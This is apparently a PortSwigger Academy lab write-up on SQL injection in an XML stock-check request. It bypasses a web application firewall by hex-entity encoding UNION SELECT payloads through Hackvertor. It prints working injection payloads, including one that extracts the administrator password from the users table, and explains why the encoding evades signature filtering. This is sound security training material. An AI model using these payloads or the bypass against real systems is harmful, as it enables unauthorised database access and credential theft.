Skip to content

SQL Injection with WAF Bypass via XML Encoding

Field Value
Platform PortSwigger Web Security Academy
Vulnerability SQL Injection — WAF Bypass via XML Entity Encoding
Difficulty Practitioner
Injection Point storeId field in XML body (stock check feature)
Goal Bypass the WAF using XML encoding and extract the administrator password

Phase 1 — Reconnaissance

The vulnerability is in the stock check feature. When we select a product and check stock, the request sends data in XML format:

Screenshot
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>2</storeId>
</stockCheck>

Phase 2 — Confirming Injection

The storeId field evaluates mathematical expressions — replacing it with 1+1 returns stock for store 2, confirming the value is processed by the database rather than used as a raw string.

Trying a basic comment-based injection triggers the WAF immediately:

<storeId>2' or 1=1-- -</storeId>
HTTP/2 403 Forbidden
"Attack detected"
Screenshot

However, ORDER BY works without triggering it:

<storeId>2 order by 1</storeId>
Screenshot

ORDER BY working without quotes confirms the storeId value is used as a numeric parameter — the query is probably WHERE id = 2 rather than WHERE id = '2'. This means no closing quote or comment sequence is needed.

Trying UNION SELECT triggered the WAF again — SQL keywords in the request body are being detected and blocked.


Phase 3 — WAF Bypass via XML Hex Encoding

What is a WAF and Why Does Encoding Bypass It?

A Web Application Firewall (WAF) inspects incoming HTTP requests and blocks those that match known attack signatures — things like UNION SELECT, OR 1=1, --, etc. It operates at the HTTP layer, reading the raw request before it reaches the application.

The bypass works because of a parsing order mismatch:

WAF sees:     &#x75;&#x6e;&#x69;&#x6f;&#x6e;  ← doesn't match "union" signature
              ↓ passes the request through
XML parser:   decodes entities → "union"
              ↓ passes decoded value to SQL
Database:     executes UNION SELECT

The WAF reads the encoded form and sees no threat. The XML parser decodes it before the database ever touches it. The database receives perfectly valid SQL. This technique only works when the injection point is inside an XML body — the XML parser is what decodes the entities. A URL parameter or JSON body would not decode the encoding and would break the SQL syntax instead.

Bypassing with Hackvertor

Using the Burp Hackvertor extension: highlight the injection payload → right-click → Extensions → Hackvertor → Encode → hex_entities. This wraps the payload in <@hex_entities> tags, which Hackvertor automatically encodes on send:

Screenshot
<storeId><@hex_entities>2 union select 'test'</@hex_entities></storeId>
HTTP/2 200 OK

119 units
test

WAF bypassed. The injected string test appeared in the response — confirming the UNION works and the column accepts strings.


Phase 4 — Extract the Administrator Password

The query returns a single column. Targeting the password column directly:

<storeId><@hex_entities>2 union select password from users where username = 'administrator'</@hex_entities></storeId>
Screenshot
HTTP/2 200 OK

password
119 units

The administrator password was returned directly in the response alongside the normal stock count.


Conclusion

  1. The stock check feature sent storeId in an XML body; 1+1 evaluating to store 2 confirmed numeric injection without quotes.
  2. Standard SQL keyword injection (UNION SELECT, OR 1=1) triggered a 403 Forbidden — a WAF was blocking recognized SQL signatures.
  3. ORDER BY passed undetected, confirming injection was possible and allowing column enumeration without burning requests on blocked payloads.
  4. Hackvertor's hex_entities encoding wrapped the UNION payload so the WAF saw encoded characters while the XML parser decoded them to valid SQL before handing off to the database.
  5. UNION SELECT password FROM users WHERE username='administrator' returned the password directly in the response.

Key Concepts

WAF bypass via XML encoding exploits the parsing order gap — the WAF inspects the raw HTTP body and sees encoded characters that don't match SQL signatures. The XML parser decodes them before the SQL engine ever sees the request. The database receives valid SQL while the WAF saw nothing recognizable.

Hackvertor automates the encoding — without it you would manually hex-encode every character: union&#x75;&#x6e;&#x69;&#x6f;&#x6e;. Hackvertor handles this on the fly so you can write the payload in plain text and have it encoded at send time.

Numeric injection points don't need quotes or comments — when storeId is used as WHERE id = 2, injecting 2 UNION SELECT ... without any closing quote or -- - is syntactically valid. Attempting to add ' would actually break the query since the original has no quotes around the value.

Test what the WAF blocks before escalatingORDER BY worked and confirmed injection; UNION SELECT was blocked. This tells you exactly what signature the WAF is catching, letting you choose the right encoding technique before wasting requests on detected payloads.

When only one column is returned, target the specific column directly — no concatenation needed if you only need one value. If multiple values from different columns are needed in a single-column UNION, concatenate them: col1 || '~' || col2.